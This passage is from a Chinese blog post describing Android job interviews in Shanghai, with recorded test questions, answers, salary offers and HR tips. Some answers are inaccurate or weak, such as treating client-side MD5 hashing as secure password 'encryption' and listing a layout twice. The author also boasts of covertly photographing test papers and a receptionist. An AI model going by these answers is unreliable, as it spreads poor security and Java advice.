取出该Fragment并把ArrayList中末尾Fragment删除，然后用FragmentManager的Replace方法，将当前Fragment替换成最新Fragment即可，如果ArrayList中只有一个Fragment，且监听到了返回键，那就不对Fragment做处理，同时也不拦截该事件，这样也不会影响其他Activity之间的切换。\n旁白：回答了上面的问题后，面试官说他回去试试，然后就去叫他们的领导了。\n\n## 3. 第二轮技术复试过程问答精选：\n\n旁白：第二轮面试我的是个技术大拿，主要负责公司整个软件架构的设计，这家公司之前只有web端，全都是他干的，现在公司向移动端发展，因此最近一直在招Android和iOS开发人员，他不太懂Android，不然估计他一个人就能把一个Android项目搞定了。他问了我一些关于http、数据安全的知识，然后就开始跟我谈人生了，一直到他们快下班，他才把人事叫来跟我谈了谈薪资。\n\n经理问：你做的Android的项目跟服务器交互都有哪些接口？\n\n旁白：大家不要被接口这个词给迷惑了。这里的接口不是java中的接口类，也不是很高大上的东西，其实换成大白话就是你们的客户端跟服务端是如何实现数据的交互的。\n\n我（阳哥）答：我们的接口有多种形式，第一种是http的形式，客户端跟服务器通过http协议传输数据，比如我们的新闻列表的请求都是给服务器发送的get请求，然后服务器把数据发给我们，我们上传给服务的图片是通过http的post请求方式完成的。第二种是socket完成的，服务端开启ServerSocket，客户端开启socket，然后客户端跟服务端建立长连接，这样实现了客户端跟服务端数据的即时通信，通信的协议是我们公司按照xmpp开放协议的基础上修改的，其实xmpp协议就是一个xml格式的数据。第三种是集成了第三方接口，比如分享功能用的是ShareSDK，消息推送用的是JPush，内置广告用的是万普世纪。\n\n经理问：你们http传输数据的时候安全是怎么保证的？\n\n我（阳哥）答：我们的数据有些是需要安全设置的有些不需要，我们的新闻类数据不需要特殊的添加安全设置，而用户注册，用户登录以及用户隐私数据保存是考虑安全性的。用户的密码等信息肯定不能进行明文传输的，我们将用户的密码在本地进行了MD5算法的加密，然后再传输。同时保存在本地的时候也是加密后的数据。还有需要安全性更高的数据需要通过我们自定义协议通过Socket传输。\n\n经理问：那你知道MD5的原理吗？\n\n旁白：老程序员就是喜欢刨根问底，如果技术功底不雄厚的话确实这个问题很难应付，因为对于大多数人只需要用一个技术就行了，不会去关注他的内部原理。\n\n我（阳哥）答：MD5算以512位分组来处理输入的信息，且每一分组又被划分为16个32位子分组，经过了复杂处理后，输出由四个32位分组组成，将这四个32位分组级联后将生成一个128位散列值。这个过程是不可逆的，我们也把他叫做数据指纹，但是我们依然对用户的输入进行安全校验，如果是纯数字类型密码，是不允许注册的，因此就算你MD5加密了，黑客也可以通过彩虹碰撞的形式进行暴力破解。\n\n旁白：接下来，经理问了我几个问题可能能难住我，关键是他也不懂Android，只能问我javaSE和思想上的一些东西，之后就开始跟我聊人生了，说他们公司是国企背景，自己在公司发展多么好，公司未来要做一个什么什么样的产品，公司弹性工作制，每年至少14薪，又问我女朋友在哪，什么时候考虑结婚，在哪买房，老家是哪的，爸妈是干什么工作的，你是如何规划未来的等等。。。。。\n\n## 4. 人事面试：\n\n这家的人事面试与其说是人事面试还不如说成人事咨询，人事跟我介绍了公司背景，跟我谈了薪资，跟我谈了入职安排，又谈公司发展，公司的福利待遇等等。人事的最后一个问题都是出奇的相似，\n\n人事：我该问你的问题都问完了，你还有什么要问我的吗？\n\nPS：这些问题千万不要一个都不问，这样人事会认为你这个应聘者对我们公司不感兴趣。如果有其他人也去面试，那么你就可以能被PASS了。其实我们真的想去这家公司的话，肯定会有一大堆问题的，但是也不要问的太多，问的太多显得你很啰嗦，人事的耐心也是有限的，同时也不要问太低级的问题。对于我们程序员来说，应该最关注如下两大类问题，一是自己将要加入的开发团队的情况，二是公司的薪资待遇以及员工培训发展情况。第一类问题显得我们技术专业，技术屌丝的特性被发挥的淋淋尽致，第二类问题很现实，我们不仅要眼前的工资还要考虑未来的发展。\n\n我（阳哥）答：咱们公司的技术团队目前有多少人，都做哪些项目？\n\n人事：公司目前技术团队还在不停的扩建，目前总共有十几名，不过服务端人比较多。现在主要做p2p理财类产品，这也是很火的一个趋势。\n\n我（阳哥）答：咱们公司给开发人员有定期的培训吗？\n\n人事：有的，公司每年都有拓展培训，拓展培训是针对全体员工的，技术团队的话每周或者每个月可能有技术分享活动，每周一名技术人员进行分享，同时可以获100元/次的奖励。\n\n## 面试吐槽：\n\n阳哥在上海第一天竟然面试了3家，上海这么大，每个公司都在不同的区，回到家已经晚上7点多了，我的感受只有一个字儿累，躺在床上就起不来了，不过还好今天本来是抱着被面试官“虐”的心态去的，结果没有被“虐”，而且还能旗开得胜。这给了我很多自信，不仅仅是对自己技术的自信，更是对黑马Android课程的自信。\n\n最后送大家一句话：没有企业给不了的薪资，只有自己掌握不了的技术。没有自己掌握不了的技术，只有不够努力的自己。\n\n录用Offer！\n\n# 4. 挑战公司No.4：上海游竞网络科技有限公司---PLU\n\n公司地址：上海市闸北区广中西路777弄99号江裕大厦10层\n\n面试时间：5月13日 14:00 PM.\n面试结果：Android工程师，16K offer+500元住房补贴+490元交通和饭补+200元全勤奖=17.1k:victory:\n面试过程：\n\n16:00到公司，这家公司在闸北区，比较远，不过办公楼很高大上。\n16:00~16:30 填写面试登记表和笔试题。\n16:30~17:15 跟面试官进行技术PK（这家面试流程比较简洁，技术只考察一轮就让人事谈薪资了）。\n17:20~17:40 跟人事谈人生谈薪资。\n\n疯狂的笔试+面试记录（前方内容“高能”:funk:，请准备高度精神集中前行）：\n\n1. 笔试\n\nPS：笔试是在公司前台旁白的桌子上做的。阳哥本来胆子就小，这一下搞的偷拍都没自信了，导致对焦不成功，拍出来的照片很模糊，大家凑合着看吧，我把图片上的试题以文本的形式列出来，如下。\n\nQ：Activity的生命周期？\nPS：我晕，跟复深蓝的笔试题如此的雷同，难道他们两家公司技术人员互相抄袭的吗？忍住，不笑！\nA：onCreate、onStart、onResume、onPause、onStop、onDestroy、onRestart。\n\nQ：Activity销毁前，如何保存Activity的状态？\nA：可以使用onSaveInstanceState（Bundle）方法将Activity中需要的数据保存起来，当下次重新启动Activity的时候在onCreate（Bundle）中获取Bundle数据。\n\nQ：请介绍下Android中常用的5种布局？\nA：LinearLayout、RelativeLayout、FrameLayout、RelativeLayout、TableLagout。\n\nQ：请介绍下Android的数据存储方式？\nA：SharedPreference、XML、SQLite、文件系统、内存（如果算的话）。\n\nQ：AIDL的全称是什么？如何工作？能处理哪些类型的数据？\nA：\n\n- Android Interface Definition Language\n\n- AIDL一般用于远程服务，也就是进程间通信。我们可以分服务端和客户端，服务端声明AIDL文件，该文件命名为xxx.aidl,ADT会自动将xxx.aidl生成代码文件，代码文件提供了aidl中接口的实现。客户端如果要使用服务端提供的服务需要将xxx.aidl文件放到客户端源代码目录下，然后生成xxx.java类，客户端通过bindService的形参ServiceConnection的onServiceConnected获取到Service对象，这个对象通过Stub.asInterface（service）返回aidl的实现类。之后我们就可用调用这个aidl的实现类。\n\n- 基本数据类型都可以，复杂对象也可以，只不过需要实现Parcelable接口。\n\nQ：请介绍一下handler机制？\nA：Android中handler多用于主线程和子线程之间的通信，比如在Android中子线程是不允许修改UI的，如果修改只能让子线程给主线程通过handler发送message，然后主线程进行修改。Handler整个机制的实现，还依赖Looper、Message两个核心内容。在主线程中Android默认给我们创建了Looper\n\nQ：java如何调用c、c++语言？\nA：java通过JNI调用C/C++代码，在使用的时候首先通过System.loadLibrary(\"xxx\")将xxx.so文件加载到jvm中，同时在类中必须对so文件中的方法进行生命，格式:public native void test();\n\nQ：Android分几层，分别是什么？\nA：四层。Linux Core、Libraries（Android Runtime）、Application Framework、Applications。\n\nQ：final、finally、finalize的区别？\nA：第一个是关键字最终，用final修饰的类为最终类，不能被继承，修饰的方法不能被覆写，修饰的变量不能被改变。finally是异常体系中的关键字，当系统遇到异常是，在进行trycatch的时候，finally代码块里的代码是必须被执行的。finalize是Object类中的方法，当GC回收对象时回调的方法。\n\nQ：heap和stack的区别？\nA：堆和栈。栈存放对象的引用，堆存放对象实体。堆中的对象是有jvm的垃圾回收器负责回收。\n\n## 2. 第一轮技术面试过程问答精选：\n\n旁白：面试我的是85年出生的Android组组长（这是后来他们公司人事给我打电话让我入职的时候，跟我说的）。他们公司是做游戏视频直播平台的，因此对app的性能要求比较高，他用手机让我看了一段代码。代码（记得不是很清楚了）大概如下：\n\n```java\npublic class MainActivity extends Activity {\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n        new Thread(new Runnable() {\n            @Override\n            public void run() {\n                while (true) {\n                    SystemClock.sleep(1000);\n                }\n            }\n        }).start();\n    }\n}\n```\n面试官问：上面的代码有问题吗？\n\n我（阳哥）答：当然有问题呀，这个Activity在启动的时候开启了一个子线程，但是当Activity退出的时候该子线程还在运行，并没有停止。子线程运行在进程中的，Activity退出的时候进程并没有退出，而由前台进程变为后台进程。\n\n面试官问：那应该怎么解决？\n\n我（阳哥）答：我们可以这样，把while（true）改成while(flag)，flag是一个boolean类型的变量，通过改变flag的true或者false来终止子线程的运行，当Activity退出时会调用onDestroy方法，因此在该方法中我们可以把flag设置为false。\n\n旁白：面试官听了我的答案，从他的表情上来看好像他不是很满意。但是他也没说我说的对不对，而是给我说了他心中的答案，不过他给的答案我当时是虚心接受了，不过到现在我还没明白他说的道理在哪，我写了测试代码也没测试出来啥。\n\n面试官问：这个代码有问题就出在这个Thread是一个匿名的，而且没有声明为静态成员变量？\n\n我（阳哥）答：哦，这样子呀，这个我真不知道。\n\n旁白：其实我内心是很想问他为什么呢？但是如果他答不上来就会让他很难堪，如果回答上来了倒没啥问题。从他也不自信的言语中我感觉还是不问他比较好？\n\n面试官问：你对RTSP流媒体协议有了解吗？有没有做过手机播放器的应用？\n\n我（阳哥）答：这个知道，自己做过流媒体播放器。我使用过开源的Vitamio开源库。\n旁白：黑马课程中有一个项目是手机影音。因此这个东西自己是知道的。不懂的人可能以为RSTP、ffmpeg这些专业名词都多么的高大上，其实在黑马手机影音中，我们会做一个视频播放器，视频播放器分两种，一种是Android自带解码，第二种是万能播放器，所谓万能播放器就是绝大多数流媒体格式都支持。\n\n面试官问：那你知道代码测试怎么测？\n\n旁白：关于测试，阳哥真心不太懂，怎么办？？尽量回答一些自己知道的，同时把测试方面的话题给关闭掉，省得面试官追问我。\n\n我（阳哥）答：您说的是Monkey Test吗？。\n\n面试官问：恩。。。也算吧？还有其他吗？\n\n我（阳哥）答：我们程序员在写代码的时候都是有规范的，优良的代码规范是规避bug重要的一步，同时我们公司每周都有一个代码走读会议，所谓的代码走读，就是开发人员互相看对方的代码，检查代码是否规范以及是否存在bug。当然也有测试，不过我们的测试都是黑盒测试。\n\n面试官问：哦，代码测试，就是可以通过测试一段代码来分析这段代码有没有问题，性能是否可靠。\n\n我（阳哥）答：对的，Android自带了AndroidTest功能，可以对一个类一个方法进行测试。\n面试官问：那好，图片你有处理过吧？\n\n我（阳哥）答：这个肯定有呀，哪个Android应用没有图片。比如图片缓存呀，图片缩放呀，图片缓存呀。\n\n旁白：其实自己对图片处理这块儿，还是比较了解的，可惜他也没怎么深问我，没有给我很大的发挥机会。\n\n面试官问：我们现在要做一个视频在线播放的app，播放的都是游戏直播或者录像视频，iOS已经做好了的，Android还没有做好，你要是进来的话你就是做视频直播这一块儿。\n我（阳哥）答：这个已经做好的能让我看一下吗？\n\n旁白：面试官拿来水果机让我看了一下，主界面就是一个ListView，每个ListView的一行都有大概4个视频预览图，点击之后可以播放。\n\n我（阳哥）问：这个切图，设计啥的都做好了吧，剩下的就是编码了其实？\n面试官答：是的，后期我们Android团队还会不停的夸大，我们的发展重心已经偏向移动端。\n旁白：接下来就是跟面试官侃大山了，从天文到地理，从BAT到初创型公司，阳哥也不能甘拜下风。\n\n我（阳哥）答：恩，现在是移动互联网时代了，移动端肯定得做好，不管什么样的公司都特别重视移动端。咱们公司现在才开始研发移动端，其实已经稍微有点儿晚了，就得赶紧拼命追赶了。\n\n## 3. 人事面试：\n\n跟面试官聊完后，技术官对我的评价是，我挺喜欢你，你跟人事好好聊聊吧，哈哈，我肯定会跟人事MM好好聊天的。人事问的问题太老套路了，感觉全上海人事问的问题都一样，难道他们都是从一个地方培训出来的？人事也有培训吗？其实应付人事的问题不难，难的是如何回答人事的问题。答题的方式直接决定了我们在人事那里的印象。我把人事问的几个问题大概列一下。\n\n人事：你为什么离职来上海？\n\nPS：人事问这个问题的主要目的就是看你的动机纯不纯，有没有不良倾向。\n\n我（阳哥）答：主要是两个方面吧，第一个是我的女朋友在这边工作，我年龄也不小了，也到了谈婚论嫁的时候了，我不着急，家里父母亲着急呀，来上海工作的话离女朋友比较近，结婚就比较好办，第二个主要还是。。怎么说呢。。。高大上的说就是为了自己事业更高的发展吧，说的直接点就是上海毕竟国际化都市，发展机会很多，自己也想来上海工作个3~5年挣钱买个房子首付啥的，如果在上海的这几年发展的好可以考虑再公司附近买房，如果自己发展的不好，在上海周边买个房也行。\n\n人事：你女朋友一直在上海，还是刚回来上海？。\n\n我（阳哥）答：她上一年来的这边，之前是我大学同学，主要是她家有亲戚帮她找了一份设计院的工作，而我只能靠自己找工作。\n\n人事：你以后打算长期留在上海了吗？\n\n旁白：上面的问题其实是人事在考察你的稳定性，公司可不想招到一个人刚培养出来就走掉了。但是如果你直接肯定的回答：我会一直留在上海，又显得很假。“装”的高境界就是让对方感觉你很不会“装”。\n\n我（阳哥）答：这个有想过，自己其实蛮喜欢上海的，可是计划赶不上变化，来上海的前一年我也从来没想到我会来，因此不能说一辈子都在上海，不过目前这几年是打算在上海好好发展一下。上海的房价、户口政策都是问题，现在不是我选不选择上海，而是上海选择不选择我的问题，呵呵，其实谁都不傻，都想来好地方，关键就看自己有没有本事扎根于此了。\n\n人事：你能承受加班吗？\n\n旁白：其实互联网企业加班是很常见的现象，尤其是像上海这种生活节奏比较快的城市，加班肯定是避免不了的，但是我们也有我们的底线，不能无条件无休止的为公司加班，但是也不能一点儿班都不能加，毕竟有时候公司忙的话，比如新产品上线，新bug的解决都是需要加班的，这个时候我们还真的义不容辞的为公司付出，毕竟我们的薪水是公司给的。在公司工作一方面是我们为公司付出，另一方面我也要知道感恩公司。\n\n我（阳哥）答：加班很正常，自己之前的公司也经常加班。不过公司加班一般都不会让员工平白无辜的加班的，我们加班的时候公司会发晚餐补助，打车补助等，如果加班超过半天会计入到我们的存休中，等活不忙的时候我们可以申请休息。因此只要不是高频度的天天加班到凌晨应该没啥问题的。\n\n人事：你的五年规划是啥？\n\n我（阳哥）答：自己还是想往技术方向发展，自己也比较喜欢代码，愿意去研究技术。人往高处走水往低处流，经过自己几年的积累后自己想当一名技术总监或者项目经理类的技术管理类岗位。不过这些都得靠自己的努力以及对机遇的把握情况了。\n\n面试吐槽：\n\n这家企业各个方面的条件真心不错，想拒绝都很难找到合适的理由！我要了15k的薪资，人家给了16k，还有各种诱人的福利。感觉还是游戏类的公司土豪。你以为你要15k，人家给你16k已经很高了吗？请让我把话说完，告诉你啥叫游戏公司。该入职的时候，当然我没有去入职（入职是上午10:00），上午10:20的公司人事给我打电话，问我迟到了还是怎么会儿事儿，我说对不起，感谢贵公司对我的认可，自己已经有了新的选择。把他们给拒绝了。下午1点多的时候，我正在吃饭，结果这家公司的技术官又给我打电话来了，在电话里跟我聊了很久，他说如果再给你多几k你会考虑过来上班呢？我哑巴了，自己从来就没有享受过这么好的待遇，受宠若惊的阳哥无言以对！自己的内心像打翻了五味瓶一样，这种感觉估计也没有几个人理解。后来还是被我给拒绝了，内心在流泪！\n\n这篇文章阳哥已经写到尾声了，但是想给大家说的话却依然很多很多。\n\n亲爱的黑马同学们：如果你还在撸着代码，看着视频，再苦再难，请你一定要坚持，今天你付出的一点一滴都将会在明天变成千千万万倍的回报。加油&坚持！\n\n# 5. 挑战公司No.5：一号店旗下壹药网\n\n公司地址：上海市浦东新区碧波路572弄115号10幢\n\n\n（偷拍前台妹子~天热，穿的少其实是正常的，可惜桌子挡住了该看的，哦，不该看的:lol）\n\n面试时间：5月14日 10:00 AM.\n面试结果：Android工程师，15K offer&14个月薪资:victory:\n面试过程：\n10:10到公司，这就是传说中的一号店！，公司总共三栋独栋楼，两个在装修，一个在用，因此工位紧张，导致我面试都是在前台所在的大厅里进行的。\n10:20~10:50 填写面试登记表和技术官面试。\n10:50~11:10 跟研发部Leader面试。\n11:10~11:30 跟人事谈薪资以及入职事宜。\n\n疯狂的笔试+面试记录（前方内容“高能”:funk:，请准备高度精神集中前行）：\nPS：笔试跟面试是一起的，一个技术官拿着一张正反面都写满题的A4纸，从第一题到最后一题，他指一题我回答一题，我回答一题，他指下一题。配合的天意无缝，哈哈~~~\n\n## 1. 笔试\n\n### java基础部分\n\nQ：Java面向对象有哪些特征？\nA：封装、继承、多态。\n\nQ：`short s1=1;s1=s1+1`有什么错？`short s1=1;s1+=1;`有什么错？\n\nA：第一个是有错的，short在内存中占2个字节，而整数1默认为int型占4个字节，s1+1其实这个时候就向上转型为int类型了，因此第一行代码必须强转才行。第二个之所以可以是以为这句话翻译过来就是s1++，也就是short类型的数据自身加增1，因此不会有问题。\n\nQ：静态成员类、非静态成员类有什么区别？什么是匿名内部类？\nA：静态成员类相当于外部类的静态成员，是外部类在加载的时候进行初始化，非静态成员类相当于外部类的普通成员，当外部类创建对象的时候才会初始化。匿名内部一般都是在方法里面直接通过`new ClassName(){};`形式的类。比如我们`new Thread（new Runnable(){}）.start()；`就用到了匿名内部类。\n\nQ：abstract class 和 interface有什么区别？\nA：前者是抽象类，可以有抽象方法，也可以没有。后者是接口，只能有抽象方法。他们都不能创建对象，需要被继承。\n\nQ：ArrayList是不是线程安全的？如果不是，如何是ArrayList成为线程安全的？\nA：不安全的。可以使用Collections.synchronizedList(list)将list变为线程安全的。\n\nQ：是否可以继承String类？\nA：不可以，因为String类是final类。为啥不解释了吧。\n\nQ：以下两条语句返回值为true的有：\n    A：`\"yiyaowang\"==\"yiyaowang\";`\n    B: `\"yiyaowang\".equals(new String(\"yiyaowang\"));`\nA：第一个返回true，都是字符串常量，存储在字符串常量池中，且只有一份。第二个返回true，用equals比较的是字符串内容。\n\nQ：当一个对象被当做参数传递到一个方法后，此方法可以改变这个对象的属性，并可返回变化后的结果，那么这里到底是值传递还是引用传递？\nA：java中只有值传递，没有引用传递。这里的引用本身就是值，传递的是引用这个值。\n\nQ：定义类A和类B如下：\n\n​```java\nclass A{\n    int a =1;\n    double d = 2.0;\n    void show(){\n        System.out.println(\"Class A:a=\"+a+\"\\td=\"+d);\n    }\n}\nclass B extends A{\n    float a = 3.0f;\n    String d = \"Hello World!\";\n    void show(){\n        super.show();\n        System.out.println(\"Class B:a=\"+a+\"\\td=\"+d);\n    }\n}\n```\n(1)若在应用程序的main方法中有以下语句：\n​```java\nA a = new A();\na.show();\n```\n则输出结果是？\n\n(2)若在应用程序的main方法中定义类B的对象b:\n```java\nA b = new B();\nb.show();\n```\n则输出结果是？\n\nA：第一个是ClassA ：a=1     d=2.0\n   第二个是ClassA ：a =1    d=2.0  \nClassB : a=3.0   d=Hello World!\n\nQ：heap和stack有什么区别？\nA：堆和栈。栈存放对象的引用，堆存放对象实体。堆中的对象是有jvm的垃圾回收器负责回收。\n\nQ：请描述下JVM加载class文件的原理机制。\nA：JVM加载class是动态性的，也就是当“需要”的时候才会加载，这是也是为节约JVM内存来考虑的。同时JVM的类加载是父类委托机制，这个机制简单来讲，就是“类装载器有载入类的需求时，会先请示其Parent使用其搜索路径帮忙载入，如果Parent 找不到,那么才由自己依照自己的搜索路径搜索类”。\n\n### Android基础部分\n\nQ：如何适配不同屏幕分辨率的机型？\nA：屏幕适配方式就多了去了。Android系统本身提供了很多适配方法，比如存放图片资源的drawable目录根据不同分辨率的手机提供了drawable-hdpi、drawable-ldpi、drawable-mdpi、drawable-xhdpi等多中目录。我们只需把适应不同分辨率的多套图片分别放到对应的目录中即可。Android的layout、values目录也提供了类似drawable的适配功能。但是在开发中，不可能针对不同的手机分辨率提供多种图片资源，这太耗费资源了。我们一般在写控件宽高的时候都会用dp单位取代pix单位。因为dp是一个相对单位，pix是绝对单位，使用dp替代pix也可以解决很多适配问题。dp跟pix之间可以通过公式进行转换。\n\nQ：View和ViewGroup的关系是什么？View的绘制过程（主要方法）有哪些？\nA：ViewGroup继承了View。onMesure、onLayout、onDraw。\n\nQ：Activity和Task的区别及启动模式有哪些？\nA：Activity运行Task中。Activity有四种启动模式。standard、singleTop、singleTask、singleInstance。standard:默认的启动模式，多个Activity位于同一Task中。singleTop，顾名知义就是Task栈顶只能有一个相同的Activity，singleTask就是一个Task中只有一个Activity，singleInstance就是一个Activity独享一个Task。\nPS：关于Activity的四种启动模式其实还有更详细的说法，我在上面就简单介绍一下了，如果面试官需要问的更详细再往深处介绍就行了。\n\nQ：如何注册BroadCastReceiver和Service？Service有什么特征，哪些情况会用到Service？\nA：都可以通过AndroidManifest.xml进行静态注册。不过BroadCastReceiver可以在代码中通过registReceiver方法来注册。Service运行在后天进程中，一般需要在后台一直运行的任务会让Service来完成。比如我们的telephoneService、locationService等等。\n\nQ：Android有哪些安全机制？\nA：权限机制。我们的应用只要涉及到了用户的隐私、网络都需要在AndroidManifest.xml中进行声明，这样用户在安装的时候可以根据你申请的权限进行判断是否允许应用的某些行为。\n\nQ：Handler机制的原理，内部是如何实现的？\nA：Android中handler多用于主线程和子线程之间的通信，比如在Android中子线程是不允许修改UI的，如果修改只能让子线程给主线程通过handler发送message，然后主线程进行修改。Handler整个机制的实现，还依赖Looper、Message两个核心内容。在主线程中Android默认给我们创建了Looper,当我们通过handler.sendMessage()后，该消息被添加到MessageQueue中，Looper.looper中有个while(true)的循环不停的从消息队列中取消息。取消息的过程是线程阻塞的，这样不至于在没有消息的时候过多的耗费CPU资源。\n\nQ：Thread和AsyncTask的区别是什么？\nA：AsyncTask是封装好的线程池，比起Thread+Handler的方式，AsyncTask在操作UI线程上更方便，因为onPreExecute()、onPostExecute()及更新UI方法onProgressUpdate()均运行在主线程中，这样就不用Handler发消息处理了；\n\nQ：说说MVC模式的原理，在Android中的运用。\nA：MVC是Model、View、Controller三部分组成的。其中View主要由xml布局文件，或者用代码编写动态布局来体现。Model是数据模型，其实类似javabean，不过这些JavaBean封装了对数据库、网络等的操作。Controller一般由Activity负责，它根据用户的输入，控制用户界面数据的显示及更新model对象的状态，它通过控制View和Model跟用户进行交互。\n\nQ：如何加载ndk库？如何在jni中注册native函数，有几种注册方式？\nA：通过System.loadLibrary(\"xxx\")进行加载。其实native有几种注册方式，自己当时并不知道，自己只知道一种注册方法，就是首先根据native 方法名，生成Java_com_xxx_MethodName(xxx,xxx);当然这个c/c++源码文件中需要引入jni.h，然后把这个c/c++源码编译成so文件。\n\n自己后来百度了一下，网上有人数还有一种注册方式是动态注册，我就把关于动态注册的东西直接拷贝过来：\nJNI 允许你提供一个函数映射表，注册给Jave虚拟机，这样Jvm就可以用函数映射表来调用相应的函数，就可以不必通过函数名来查找需要调用的函数了。Java与JNI通过JNINativeMethod的结构来建立联系，它在jni.h中被定义，其结构内容如下：\n\n```c\ntypedef struct {\n    const char* name;  //Java中函数的名字\n    const char* signature;  //用字符串描述的函数的参数和返回值\n    void* fnPtr;  //指向C函数的函数指针\n} JNINativeMethod;\n```\n\n第一个变量name是Java中函数的名字。\n第二个变量signature，用字符串是描述了函数的参数和返回值\n第三个变量fnPtr是函数指针，指向C函数。\n当java通过System.loadLibrary加载完JNI动态库后，紧接着会查找一个JNI_OnLoad的函数，如果有，就调用它，\n而动态注册的工作就是在这里完成的。\n\n1)JNI_OnLoad()函数\n\nJNI_OnLoad()函数在VM执行System.loadLibrary(xxx)函数时被调用，它有两个重要的作用：\n指定JNI版本：告诉VM该组件使用那一个JNI版本(若未提供JNI_OnLoad()函数，VM会默认该使用最老的JNI 1.1版)，如果要使用新版本的JNI，\n例如JNI 1.4版，则必须由JNI_OnLoad()函数返回常量JNI_VERSION_1_4(该常量定义在jni.h中) 来告知VM。\n初始化设定，当VM执行到System.loadLibrary()函数时，会立即先呼叫JNI_OnLoad()方法，因此在该方法中进行各种资源的初始化操作很恰当，\n\n2)RegisterNatives\n\nRegisterNatives在AndroidRunTime里定义\nsyntax:\njint RegisterNatives(jclass clazz, const JNINativeMethod* methods,jint nMethods)\nQ：App在什么情况下会出现内存泄露？如何避免这些情况？\nA：造成内存泄露的可能性有很多，我说几种吧，1）资源未及时释放，比如引用的io流资源、网络资源、数据库游标Cursor等没有释放2）注册的监听器、广播等未及时取消3）集合对象没有及时清理4）不良代码\n\n避免上述问题，主要还看程序员知识掌握的程度和编码经验的多少，但是从技术角度考虑我们需要注意一些细节，比如，重复使用的资源可以考虑使用缓存技术、池技术。使用的任何资源都记得关闭或者异常处理，保证在恶劣的情况下也能使资源得到释放。对于图片的操作要注意缓存的使用，同时要记住对图片对象进行及时的回收。使用ListView的时候，尽量让ConvertView得到复用。\n\n3）逻辑思考\n\nQ：你让工人为你工作7天，给你工人的回报是一根金条，金条评分成7段，你必须在每天结束时给他们一段金条，如果只许你两次把金条弄断，如何给你的工人付费？\nPS：因为上面的问题自己回答的都比较溜，所有这个逻辑思考题，面试官直接说我想着你也会就不做吧。哈哈~面试官已经放弃继续考察我了，嗨皮。然后他去找老大去了，趁机我赶紧把笔试题给偷拍了下来（是不是阳哥胆子越来越大呀？！），这样才能大家看到真实的笔试题是什么样子滴。\n\n哦，对了，上面的逻辑思考题我面试的时候是免试的，亲爱的黑马童鞋们你们知道答案吗？\n\n## 2. 第二轮面试过程问答精选：\n\n旁白：面试我的应该是开发组部门的老大。胖胖的，黑黑的，矮矮的，从开始面试到结束，一直面带微笑。因为之前那个技术官已经面试过我的技术了，因此他也没问我技术，就是跟我瞎聊了一些关于Android方面的东西。因此详细内容这里就省略了，请大家直接进入下一关~duang~\n\n## 3. 人事面试：\n\n人事面试的问题，其实我在V4版本中也说过，基本所有的人事问的问题都大同小异，跟这个人事聊的唯一有趣的就是，由于公司正在装修，找不到面试我的办公地点，然后她竟然把我带到公司旁边的凉亭子下面，我们两个并排坐着，就聊起来了，知道的知道我们是在面试，不知道的估计还以为我们在谈恋爱呢\n\n面试吐槽：\n\n在前台我填写面试登记表的时候写的期望薪资是15k，他们也没有压低我工资，我知道我要少了。不过，没办法，谁让阳哥不懂行情，在投递简历的时候都是写着期望15k呢！想写个16、17、18都不好意思了，因此大家以后找工作可别学阳哥这么傻，能多要一定多要。\n\n跟大家分享一个励志语句以结束本篇文章吧：相信梦想是价值的源泉，相信眼光决定未来的一切，相信成功的信念比成功本身更重要，相信人生有挫折没有失败，相信生命的质量来自决不妥协的信念。\n\n录用Offer！\n\n笔试题（在前台眼皮底下偷拍~）\n\n# 6. 挑战公司No.6：聚信租赁\n公司地址：上海市徐汇区漕溪北路398号汇智大厦28楼\n\n面试时间：5月14日 14:00 PM.\n面试结果：Android工程师，16K +入职送iPhone 6+每年出国旅游一次+补充住房公积金+至少14薪:victory:\n面试过程：\n14:00到公司前台，领了一大堆资料，然后让我在一间办公室做题。\n14:00~14:30 填写面试登记表和性格测试。\n14:30~15:20 两个技术官坐在我对面，同时面试我。\n15:20~15:30 人事妹子跟我单聊公司薪资福利以及入职事宜。\n\n疯狂的笔试+面试记录（前方内容“高能”:funk:，请准备高度精神集中前行）：\n\n## 1. 笔试\n\n这家比较奇怪，是给了6页的笔试题，打开一看全是性格测试题。性格测试题只拍了一张图片，在该篇文章的结果。估计大多数童鞋都想遇到阳哥这样的狗屎运吧;P~阳哥的性格绝对没问题的，这个我可以保证哈~:P\n\n## 2. 技术面试\n\n竟然同时来了两个技术官面我，一大一小，一高一矮，并排坐在一起，一对二，好吧，阳哥还是首次遇到1:2的阵容，这下可有好戏看了。PS：阳哥是个没有见过世面的人，面试的时候上个31层高的楼都兴奋的不得了，上去以后，发现上错楼了~糗事说多了都是泪:#，要不是阳哥有着过五关斩六将身经百战的成功经验，估计要吓尿:loveliness:。好吧开始吧，阳哥命中注定必有次劫，看来是躲不过了。\n\nQ：你做一个自我介绍吧？\n旁白：其实遇到好几家面试官都让我做自我介绍了，该如何自我介绍阳哥估计都会背了，好玩（恶心）的是在万达信息面试，面试了3个技术官，每个人都分别让我做了自我介绍，尼玛，他们3个就不会沟通一下要问我啥吗，一个问题至于问我3遍吗~:funk:阳哥是敢怒不敢言，毕竟在人家的地盘。\n\nPS：自我介绍的内容就不说了，每个人都是独特的，我就跟大家说一下应该如何自我介绍吧。\n\n一个优良的自我介绍会给面试官留下深刻的印象，大部分情况下，所谓的面试好坏其实看的就是你给面试官留下的印象怎么样了，我们用俗语叫感觉。\n\n自我介绍应该分以下几个部分，按照一定的逻辑连贯起来。如果连贯不起来，或者不够熟练一定在台下多背几遍，多讲几遍，但是面试的时候不要说的跟背过似的，高境界就是让面试官感觉你是临场发挥的，却又比背的都好。\n\n- 个人基本信息（姓名、年龄、老家、居住地等）\n\n- 自己来自哪里（工作地点），是干什么的（给自己一个清晰的定位，比如：我是一名Android开发工程师），担任过什么职务、做过什么样的项目\n\n- 自己为何来贵公司面试\n\n- 最后祝愿（希望能得到贵公司的认可等等，不用太多，一两句话就ok）\n\nQ：介绍一下你做过的项目吧？\nPS：黑马那么多项目，随便准备3个就ok了。\n    介绍项目大概的思路如下：\n     1）这个项目是干什么的（比如是一个类似网易新闻的地方新闻客户端，或者类似美团的o2o，或者类似豌豆荚的一个应用市场，或者类似淘宝的购物平台）？解释就是拿一个市场上耳熟能详的应用跟自己的应用做类比，省的面试官听的云里雾里的。\n    2）自己负责了哪些模块（功能）的职责（比如负责系统的架构，核心代码的编写，xx功能模块的开发等等）\n    3）自己在这个项目中担当的责任（比如，这个项目是自己独立开发的，这个项目是和另外一个同事一起架构一起开发的，这个项目是自己负责了几个核心模块）\n    4）项目中都用到了哪些技术\n    